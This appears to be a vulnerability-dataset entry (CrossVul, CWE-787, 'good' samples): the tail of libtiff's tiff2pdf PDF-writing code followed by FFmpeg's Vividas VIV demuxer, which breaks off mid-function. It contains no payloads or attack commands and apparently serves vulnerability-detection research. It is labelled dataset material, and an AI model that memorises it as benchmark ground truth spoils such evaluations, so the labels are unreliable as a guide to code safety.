long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } } if(t2p->pdf_switchdecode == 0){ written += t2pWriteFile(output, (tdata_t) " /BlackIs1 true ", 16); } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: written += t2pWriteFile(output, (tdata_t) "/DCTDecode ", 11); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR) { written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /ColorTransform 1 >>\n", 24); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: written += t2pWriteFile(output, (tdata_t) "/FlateDecode ", 13); if(t2p->pdf_compressionquality%100){ written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /Predictor ", 14); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_compressionquality%100); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Columns ", 10); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Colors ", 9); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } break; #endif default: break; } return(written); } /* This function writes a PDF xref table to output. */ tsize_t t2p_write_pdf_xreftable(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[64]; int buflen=0; uint32 i=0; written += t2pWriteFile(output, (tdata_t) "xref\n0 ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n0000000000 65535 f \n", 22); for (i=0;i<t2p->pdf_xrefcount;i++){ snprintf(buffer, sizeof(buffer), "%.10lu 00000 n \n", (unsigned long)t2p->pdf_xrefoffsets[i]); written += t2pWriteFile(output, (tdata_t) buffer, 20); } return(written); } /* * This function writes a PDF trailer to output. */ tsize_t t2p_write_pdf_trailer(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; size_t i = 0; for (i = 0; i < sizeof(t2p->pdf_fileid) - 8; i += 8) snprintf(t2p->pdf_fileid + i, 9, "%.8X", rand()); written += t2pWriteFile(output, (tdata_t) "trailer\n<<\n/Size ", 17); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount+1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Root ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_catalog); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/Info ", 12); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_info); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/ID[<", 11); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) "><", 2); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) ">]\n>>\nstartxref\n", 16); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_startxref); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n%%EOF\n", 7); return(written); } /* This function writes a PDF to a file given a pointer to a TIFF. The idea with using a TIFF* as output for a PDF file is that the file can be created with TIFFClientOpen for memory-mapped use within the TIFF library, and TIFFWriteEncodedStrip can be used to write compressed data to the output. The output is not actually a TIFF file, it is a PDF file. This function uses only t2pWriteFile and TIFFWriteEncodedStrip to write to the output TIFF file. When libtiff would otherwise be writing data to the output file, the write procedure of the TIFF structure is replaced with an empty implementation. The first argument to the function is an initialized and validated T2P context struct pointer. The second argument to the function is the TIFF* that is the input that has been opened for reading and no other functions have been called upon it. The third argument to the function is the TIFF* that is the output that has been opened for writing. It has to be opened so that it hasn't written any data to the output. If the output is seekable then it's OK to seek to the beginning of the file. The function only writes to the output PDF and does not seek. See the example usage in the main() function. TIFF* output = TIFFOpen("output.pdf", "w"); assert(output != NULL); if(output->tif_seekproc != NULL){ t2pSeekFile(output, (toff_t) 0, SEEK_SET); } This function returns the file size of the output PDF file. On error it returns zero and the t2p->t2p_error variable is set to T2P_ERR_ERROR. After this function completes, call t2p_free on t2p, TIFFClose on input, and TIFFClose on output. */ tsize_t t2p_write_pdf(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; ttile_t i2=0; tsize_t streamlen=0; uint16 i=0; t2p_read_tiff_init(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets= (uint32*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_xrefcount,sizeof(uint32)) ); if(t2p->pdf_xrefoffsets==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_write_pdf", (unsigned int) (t2p->pdf_xrefcount * sizeof(uint32)) ); t2p->t2p_error = T2P_ERR_ERROR; return(written); } t2p->pdf_xrefcount=0; t2p->pdf_catalog=1; t2p->pdf_info=2; t2p->pdf_pages=3; written += t2p_write_pdf_header(t2p, output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_catalog=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_catalog(t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_info=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_info(t2p, input, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_pages=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_pages(t2p, output); written += t2p_write_pdf_obj_end(output); for(t2p->pdf_page=0;t2p->pdf_page<t2p->tiff_pagecount;t2p->pdf_page++){ t2p_read_tiff_data(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_page(t2p->pdf_xrefcount, t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; written += t2p_write_pdf_page_content_stream(t2p, output); streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); if(t2p->tiff_transferfunctioncount != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_transfer(t2p, output); written += t2p_write_pdf_obj_end(output); for(i=0; i < t2p->tiff_transferfunctioncount; i++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_transfer_dict(t2p, output, i); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_transfer_stream(t2p, output, i); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_palettecs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(t2p->pdf_palettesize, 0, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_palettecs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_icccs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_icccs_dict(t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_icccs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount !=0){ for(i2=0;i2<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i2++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( i2+1, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size_tile(t2p, input, i2); written += t2p_readwrite_pdf_image_tile(t2p, input, output, i2); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } else { t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( 0, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size(t2p, input); written += t2p_readwrite_pdf_image(t2p, input, output); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } t2p->pdf_startxref = written; written += t2p_write_pdf_xreftable(t2p, output); written += t2p_write_pdf_trailer(t2p, output); t2p_disable(output); return(written); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5479_3
crossvul-cpp_data_good_4484_0
/* * Vividas VIV format Demuxer * Copyright (c) 2012 Krzysztof Klinikowski * Copyright (c) 2010 Andrzej Szombierski * based on vivparse Copyright (c) 2007 Måns Rullgård * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * @brief Vividas VIV (.viv) file demuxer * @author Andrzej Szombierski [qq at kuku eu org] (2010-07) * @sa http://wiki.multimedia.cx/index.php?title=Vividas_VIV */ #include "libavutil/avassert.h" #include "libavutil/intreadwrite.h" #include "avio_internal.h" #include "avformat.h" #include "internal.h" #define MAX_AUDIO_SUBPACKETS 100 typedef struct VIV_SB_block { int size, n_packets; int64_t byte_offset; int64_t packet_offset; } VIV_SB_block; typedef struct VIV_SB_entry { int size, flag; } VIV_SB_entry; typedef struct VIV_AudioSubpacket { int start, pcm_bytes; } VIV_AudioSubpacket; typedef struct VividasDemuxContext { int n_sb_blocks; VIV_SB_block *sb_blocks; int num_audio; uint32_t sb_key; int64_t sb_offset; int current_sb, current_sb_entry; uint8_t *sb_buf; AVIOContext *sb_pb; int n_sb_entries; VIV_SB_entry *sb_entries; int n_audio_subpackets; int current_audio_subpacket; int64_t audio_sample; VIV_AudioSubpacket audio_subpackets[MAX_AUDIO_SUBPACKETS]; } VividasDemuxContext; static int viv_probe(const AVProbeData *p) { if (memcmp(p->buf, "vividas03", 9)) return 0; return AVPROBE_SCORE_MAX; } static const uint8_t keybits[32] = { 20, 52, 111, 10, 27, 71, 142, 53, 82, 138, 1, 78, 86, 121, 183, 85, 105, 152, 39, 140, 172, 11, 64, 144, 155, 6, 71, 163, 186, 49, 126, 43, }; static uint32_t decode_key(uint8_t *buf) { uint32_t key = 0; for (int i = 0; i < 32; i++) { unsigned p = keybits[i]; key |= ((buf[p] >> ((i*5+3)&7)) & 1u) << i; } return key; } static void put_v(uint8_t *p, unsigned v) { if (v>>28) *p++ = ((v>>28)&0x7f)|0x80; if (v>>21) *p++ = ((v>>21)&0x7f)|0x80; if (v>>14) *p++ = ((v>>14)&0x7f)|0x80; if (v>>7) *p++ = ((v>>7)&0x7f)|0x80; } static unsigned recover_key(unsigned char sample[4], unsigned expected_size) { unsigned char plaintext[8] = { 'S', 'B' }; put_v(plaintext+2, expected_size); return AV_RL32(sample) ^ AV_RL32(plaintext); } static void xor_block(void *p1, void *p2, unsigned size, int key, unsigned *key_ptr) { unsigned *d1 = p1; unsigned *d2 = p2; unsigned k = *key_ptr; size >>= 2; while (size > 0) { *d2 = *d1 ^ (HAVE_BIGENDIAN ? av_bswap32(k) : k); k += key; d1++; d2++; size--; } *key_ptr = k; } static void decode_block(uint8_t *src, uint8_t *dest, unsigned size, uint32_t key, uint32_t *key_ptr, int align) { unsigned s = size; char tmp[4]; int a2; if (!size) return; align &= 3; a2 = (4 - align) & 3; if (align) { uint32_t tmpkey = *key_ptr - key; if (a2 > s) { a2 = s; avpriv_request_sample(NULL, "tiny aligned block"); } memcpy(tmp + align, src, a2); xor_block(tmp, tmp, 4, key, &tmpkey); memcpy(dest, tmp + align, a2); s -= a2; } if (s >= 4) { xor_block(src + a2, dest + a2, s & ~3, key, key_ptr); s &= 3; } if (s) { size -= s; memcpy(tmp, src + size, s); xor_block(&tmp, &tmp, 4, key, key_ptr); memcpy(dest + size, tmp, s); } } static uint32_t get_v(uint8_t *p, int len) { uint32_t v = 0; const uint8_t *end = p + len; do { if (p >= end || v >= UINT_MAX / 128 - *p) return v; v <<= 7; v += *p & 0x7f; } while (*p++ & 0x80); return v; } static uint8_t *read_vblock(AVIOContext *src, uint32_t *size, uint32_t key, uint32_t *k2, int align) { uint8_t tmp[4]; uint8_t *buf; unsigned n; if (avio_read(src, tmp, 4) != 4) return NULL; decode_block(tmp, tmp, 4, key, k2, align); n = get_v(tmp, 4); if (n < 4) return NULL; buf = av_malloc(n); if (!buf) return NULL; *size = n; n -= 4; memcpy(buf, tmp, 4); if (avio_read(src, buf + 4, n) == n) { decode_block(buf + 4, buf + 4, n, key, k2, align); } else { av_free(buf); buf = NULL; } return buf; } static uint8_t *read_sb_block(AVIOContext *src, unsigned *size, uint32_t *key, unsigned expected_size) { uint8_t *buf; uint8_t ibuf[8], sbuf[8]; uint32_t k2; unsigned n; if (avio_read(src, ibuf, 8) < 8) return NULL; k2 = *key; decode_block(ibuf, sbuf, 8, *key, &k2, 0); n = get_v(sbuf+2, 6); if (sbuf[0] != 'S' || sbuf[1] != 'B' || (expected_size>0 && n != expected_size)) { uint32_t tmpkey = recover_key(ibuf, expected_size); k2 = tmpkey; decode_block(ibuf, sbuf, 8, tmpkey, &k2, 0); n = get_v(sbuf+2, 6); if (sbuf[0] != 'S' || sbuf[1] != 'B' || expected_size != n) return NULL; *key = tmpkey; } if (n < 8) return NULL; buf = av_malloc(n); if (!buf) return NULL; memcpy(buf, sbuf, 8); *size = n; n -= 8; if (avio_read(src, buf+8, n) < n) { av_free(buf); return NULL; } decode_block(buf + 8, buf + 8, n, *key, &k2, 0); return buf; } static int track_header(VividasDemuxContext *viv, AVFormatContext *s, uint8_t *buf, int size) { int i, j, ret; int64_t off; int val_1; int num_video; AVIOContext pb0, *pb = &pb0; ffio_init_context(pb, buf, size, 0, NULL, NULL, NULL, NULL); ffio_read_varlen(pb); // track_header_len avio_r8(pb); // '1' val_1 = ffio_read_varlen(pb); for (i=0;i<val_1;i++) { int c = avio_r8(pb); if (avio_feof(pb)) return AVERROR_EOF; for (j=0;j<c;j++) { if (avio_feof(pb)) return AVERROR_EOF; avio_r8(pb); // val_3 avio_r8(pb); // val_4 } } avio_r8(pb); // num_streams off = avio_tell(pb); off += ffio_read_varlen(pb); // val_5 avio_r8(pb); // '2' num_video = avio_r8(pb); avio_seek(pb, off, SEEK_SET); if (num_video != 1) { av_log(s, AV_LOG_ERROR, "number of video tracks %d is not 1\n", num_video); return AVERROR_PATCHWELCOME; } for (i = 0; i < num_video; i++) { AVStream *st = avformat_new_stream(s, NULL); int num, den; if (!st) return AVERROR(ENOMEM); st->id = i; st->codecpar->codec_type = AVMEDIA_TYPE_VIDEO; st->codecpar->codec_id = AV_CODEC_ID_VP6; off = avio_tell(pb); off += ffio_read_varlen(pb); avio_r8(pb); // '3' avio_r8(pb); // val_7 num = avio_rl32(pb); // frame_time den = avio_rl32(pb); // time_base avpriv_set_pts_info(st, 64, num, den); st->nb_frames = avio_rl32(pb); // n frames st->codecpar->width = avio_rl16(pb); // width st->codecpar->height = avio_rl16(pb); // height avio_r8(pb); // val_8 avio_rl32(pb); // val_9 avio_seek(pb, off, SEEK_SET); } off = avio_tell(pb); off += ffio_read_varlen(pb); // val_10 avio_r8(pb); // '4' viv->num_audio = avio_r8(pb); avio_seek(pb, off, SEEK_SET); if (viv->num_audio != 1) av_log(s, AV_LOG_WARNING, "number of audio tracks %d is not 1\n", viv->num_audio); for(i=0;i<viv->num_audio;i++) { int q; AVStream *st = avformat_new_stream(s, NULL); if (!st) return AVERROR(ENOMEM); st->id = num_video + i; st->codecpar->codec_type = AVMEDIA_TYPE_AUDIO; st->codecpar->codec_id = AV_CODEC_ID_VORBIS; off = avio_tell(pb); off += ffio_read_varlen(pb); // length avio_r8(pb); // '5' avio_r8(pb); //codec_id avio_rl16(pb); //codec_subid st->codecpar->channels = avio_rl16(pb); // channels st->codecpar->sample_rate = avio_rl32(pb); // sample_rate avio_seek(pb, 10, SEEK_CUR); // data_1 q = avio_r8(pb); avio_seek(pb, q, SEEK_CUR); // data_2 avio_r8(pb); // zeropad if (avio_tell(pb) < off) { int num_data; int xd_size = 1; int data_len[256]; int offset = 1; uint8_t *p; ffio_read_varlen(pb); // val_13 avio_r8(pb); // '19' ffio_read_varlen(pb); // len_3 num_data = avio_r8(pb); for (j = 0; j < num_data; j++) { uint64_t len = ffio_read_varlen(pb); if (len > INT_MAX/2 - xd_size) { return AVERROR_INVALIDDATA; } data_len[j] = len; xd_size += len + 1 + len/255; } ret = ff_alloc_extradata(st->codecpar, xd_size); if (ret < 0) return ret; p = st->codecpar->extradata; p[0] = 2; for (j = 0; j < num_data - 1; j++) { unsigned delta = av_xiphlacing(&p[offset], data_len[j]); av_assert0(delta <= xd_size - offset); offset += delta; } for (j = 0; j < num_data; j++) { int ret = avio_read(pb, &p[offset], data_len[j]); if (ret < data_len[j]) { st->codecpar->extradata_size = 0; av_freep(&st->codecpar->extradata); break; } av_assert0(data_len[j] <= xd_size - offset); offset += data_len[j]; } if (offset < st->codecpar->extradata_size) st->codecpar->extradata_size = offset; } } return 0; } static int track_index(VividasDemuxContext *viv, AVFormatContext *s, uint8_t *buf, unsigned size) { int64_t off; int64_t poff; int maxnp=0; AVIOContext pb0, *pb = &pb0; int i; int64_t filesize = avio_size(s->pb); uint64_t n_sb_blocks_tmp; ffio_init_context(pb, buf, size, 0, NULL, NULL, NULL, NULL); ffio_read_varlen(pb); // track_index_len avio_r8(pb); // 'c' n_sb_blocks_tmp = ffio_read_varlen(pb); if (n_sb_blocks_tmp > size / 2) return AVERROR_INVALIDDATA; viv->sb_blocks = av_calloc(n_sb_blocks_tmp, sizeof(*viv->sb_blocks)); if (!viv->sb_blocks) { return AVERROR(ENOMEM); } viv->n_sb_blocks = n_sb_blocks_tmp; off = 0; poff = 0; for (i = 0; i < viv->n_sb_blocks; i++) { uint64_t size_tmp = ffio_read_varlen(pb); uint64_t n_packets_tmp = ffio_read_varlen(pb); if (size_tmp > INT_MAX || n_packets_tmp > INT_MAX) return AVERROR_INVALIDDATA; viv->sb_blocks[i].byte_offset = off; viv->sb_blocks[i].packet_offset = poff; viv->sb_blocks[i].size = size_tmp; viv->sb_blocks[i].n_packets = n_packets_tmp; off += viv->sb_blocks[i].size; poff += viv->sb_blocks[i].n_packets; if (maxnp < viv->sb_blocks[i].n_packets) maxnp = viv->sb_blocks[i].n_packets; } if (filesize > 0 && poff > filesize) return AVERROR_INVALIDDATA; viv->sb_entries = av_calloc(maxnp, sizeof(VIV_SB_entry)); if (!viv->sb_entries) return AVERROR(ENOMEM); return 0; } static void load_sb_block(AVFormatContext *s, VividasDemuxContext *viv, unsigned expected_size) { uint32_t size = 0; int i; AVIOContext *pb = 0; if (viv->sb_pb) { av_free(viv->sb_pb); viv->sb_pb = NULL; } if (viv->sb_buf) av_free(viv->sb_buf); viv->sb_buf = read_sb_block(s->pb, &size, &viv->sb_key, expected_size); if (!viv->sb_buf) { return; } pb = avio_alloc_context(viv->sb_buf, size, 0, NULL, NULL, NULL, NULL); if (!pb) return; viv->sb_pb = pb; avio_r8(pb); // 'S' avio_r8(pb); // 'B' ffio_read_varlen(pb); // size avio_r8(pb); // junk ffio_read_varlen(pb); // first packet viv->n_sb_entries = viv->sb_blocks[viv->current_sb].n_packets; for (i = 0; i < viv->n_sb_entries; i++) { viv->sb_entries[i].size = ffio_read_varlen(pb); viv->sb_entries[i].flag = avio_r8(pb); } ffio_read_varlen(pb); avio_r8(pb); viv->current_sb_entry = 0; } static int viv_read_header(AVFormatContext *s) { VividasDemuxContext *viv = s->priv_data; AVIOContext *pb = s->pb; int64_t header_end; int num_tracks; uint32_t key, k2; uint32_t v; uint8_t keybuffer[187]; uint32_t b22_size = 0; uint32_t b22_key = 0; uint8_t *buf = 0; int ret; avio_skip(pb, 9); header_end = avio_tell(pb); header_end += ffio_read_varlen(pb); num_tracks = avio_r8(pb); if (num_tracks != 1) { av_log(s, AV_LOG_ERROR, "number of tracks %d is not 1\n", num_tracks); return AVERROR(EINVAL); } v = avio_r8(pb); avio_seek(pb, v, SEEK_CUR); avio_read(pb, keybuffer, 187); key = decode_key(keybuffer); viv->sb_key = key; avio_rl32(pb); for (;;) { int64_t here = avio_tell(pb); int block_len, block_type; if (here >= header_end) break; block_len = ffio_read_varlen(pb); if (avio_feof(pb) || block_len <= 0) return AVERROR_INVALIDDATA; block_type = avio_r8(pb); if (block_type == 22) { avio_read(pb, keybuffer, 187); b22_key = decode_key(keybuffer); b22_size = avio_rl32(pb); } avio_seek(pb, here + block_len, SEEK_SET); } if (b22_size) { k2 = b22_key; buf = read_vblock(pb, &v, b22_key, &k2, 0); if (!buf) return AVERROR(EIO); av_free(buf); } k2 = key; buf = read_vblock(pb, &v, key, &k2, 0); if (!buf) return AVERROR(EIO); ret = track_header(viv, s, buf, v); av_free(buf); if (ret < 0) return ret; buf = read_vblock(pb, &v, key, &k2, v); if (!buf) return AVERROR(EIO); ret = track_index(viv, s, buf, v); av_free(buf); if (ret < 0) goto fail; viv->sb_offset = avio_tell(pb); if (viv->n_sb_blocks > 0) { viv->current_sb = 0; load_sb_block(s, viv, viv->sb_blocks[0].size); } else { viv->current_sb = -1; } return 0; fail: av_freep(&viv->sb_blocks); return ret; } static int viv_read_packet(AVFormatContext *s, AVPacket *pkt) { VividasDemuxContext *viv = s->priv_data; AVIOContext *pb; int64_t off; int ret; if (!viv->sb_pb) return AVERROR(EIO); if (avio_feof(viv->sb_pb)) return AVERROR_EOF; if (viv->current_audio_subpacket < viv->n_audio_subpackets) { AVStream *astream; int size = viv->audio_subpackets[viv->current_audio_subpacket+1].start - viv->audio_subpackets[viv->current_audio_subpacket].start; pb = viv->sb_pb; ret = av_get_packet(pb, pkt, size); if (ret < 0) return ret; pkt->pos += viv->sb_offset + viv->sb_blocks[viv->current_sb].byte_offset; pkt->stream_index = 1; astream = s->streams[pkt->stream_index]; pkt->pts = av_rescale_q(viv->audio_sample, av_make_q(1, astream->codecpar->sample_rate), astream->time_base); viv->audio_sample += viv->audio_subpackets[viv->current_audio_subpacket].pcm_bytes / 2 / astream->codecpar->channels; pkt->flags |= AV_PKT_FLAG_KEY; viv->current_audio_subpacket++; return 0; } if (viv->current_sb_entry >= viv->n_sb_entries) { if (viv->current_sb+1 >= viv->n_sb_blocks) return AVERROR(EIO); viv->current_sb++; load_sb_block(s, viv, 0); viv->current_sb_entry = 0; } pb = viv->sb_pb; if (!pb) return AVERROR(EIO); off = avio_tell(pb); if (viv->current_sb_entry >= viv->n_sb_entries) return AVERROR_INVALIDDATA; off += viv->sb_entries[viv->current_sb_entry].size; if (viv->sb_entries[viv->current_sb_entry].flag == 0) { uint64_t v_size = ffio_read_varlen(pb); if (!viv->num_audio) return AVERROR_INVALIDDATA; ffio_read_varlen(pb); if (v_size > INT_MAX || !v_size) return AVERROR_INVALIDDATA; ret = av_get_packet(pb, pkt, v_size); if (ret < 0) return ret; pkt->pos += viv->sb_offset + viv->sb_blocks[viv->current_sb].byte_offset; pkt->pts = viv->sb_blocks[viv->current_sb].packet_offset + viv->current_sb_entry; pkt->flags |= (pkt->data[0]&0x80)?0:AV_PKT_FLAG_KEY; pkt->stream_index = 0; for (int i = 0; i < MAX_AUDIO_SUBPACKETS - 1; i++) { int start, pcm_bytes; start = ffio_read_varlen(pb); pcm_bytes = ffio_read_varlen(pb); if (i > 0 && start == 0) break; viv->n_audio_subpackets = i + 1; viv->audio_subpackets[i].start = start; viv->audio_subpackets[i].pcm_bytes = pcm_bytes; } viv->audio_subpackets[viv->n_audio_subpackets].start = (int)(off - avio_tell(pb)); viv->current_audio_subpacket = 0; } else { uint64_t v_size = ffio_read_varlen(pb); if (v_size > INT_MAX || !v_size) return AVERROR_INVALIDDATA; ret = av_get_packet(pb, pkt, v_size); if (ret < 0) return ret; pkt->pos += viv->sb_offset + viv->sb_blocks[viv->current_sb].byte_offset; pkt->pts = viv->sb_blocks[viv->current_sb].packet_offset + viv->current_sb_entry; pkt->flags |= (pkt->data[0] & 0x80) ? 0 : AV_PKT_FLAG_KEY; pkt->stream_index = 0; } viv->current_sb_entry++; return 0; } static int viv_read_close(AVFormatContext *s) { VividasDemuxContext *viv = s->priv_data; av_freep(&viv->sb_pb); av_freep(&viv->sb_buf); av_freep(&viv->sb_blocks); av_freep(&viv->sb_entries); return 0; } static int viv_read_seek(AVFormatContext *s, int stream_index, int64_t timestamp, int flags) { 